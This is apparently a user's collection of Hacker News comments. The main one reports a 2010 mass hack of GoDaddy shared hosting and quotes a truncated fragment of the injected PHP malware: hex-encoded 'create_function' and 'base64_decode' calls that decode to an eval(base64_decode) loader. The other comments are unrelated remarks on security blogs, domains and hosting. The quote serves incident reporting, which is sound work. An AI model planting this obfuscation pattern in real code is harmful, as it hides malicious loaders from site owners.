fseek

Another one of those "mass" attacks on GoDaddy started today.

The blog doesn't give any numbers, but it seems that a few of their shared servers were compromised, so a few thousand of sites at least.

One of my clients still host in there and her files were all modified around 1pm today.

What I find unusual is the kind of code added to all PHP files:

" $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f.. \x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";.. $_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY.. "

If you decode that, it is an encoded "eval(base64_decode" to load the malware as hidden as possible.

Their blog is pretty good: http://blog.sucuri.net.

I also like: http://taosecurity.blogspot.com and http://scheneier.com

For security monitoring: OSSEC (open source at ossec.net) and http://sucuri.net (paid external mon)

Duplicated of this one I sent hours ago, but didn't get much love:

http://news.ycombinator.com/item?id=1807614

What a way to kill bit.ly and others....

I am definitely moving away from GoDaddy. I had some small sites on their shared servers that just got hacked again..

If you are not following, this is the 3rd mass hack at godaddy in just a few weeks:

http://smackdown.blogsblogsblogs.com/2010/05/13/hosting-with... http://blog.sucuri.net/2010/05/found-code-used-to-inject-mal...

Avoid Wordpress and shared hosts. They mention that all the sites hacked were on shared hosts.

I had to laugh when read "dead simple" . Someone complained about it on HN a few weeks ago and it is true. Tech Crunch abuss too much of this term..

Well, our company has a good solution for this.

People leave because they get bored, so they would switch teams from time to time, give new responsibilities and try to keep everyone motivated. Didn't always work, but they managed to keep some top guys for very long...

I am th only one who hate the idea of generic top-level domains? Will their web site be accessible just as http://.canon? .

Good for them. I wonder what Garmin thinks in terms of competitors now easily finding a large group of ex-employees.

Is there an RSS feed for just the ask questions? I can't find one there...

Way to go, godaddy!

I find it shocking that so many people rely on a single (centralized) source for their communication. The internet was built to be de-centralized (see how DNS, email, tcp/ip works), but now we are moving to a centralized, unreliable means of communication..

Funny app and a good way to show the dangers of posting everything online...

For CLI tools, yes, slow startup == slow execution.

I would say all of them. Generally top + atop + the log files should be enough.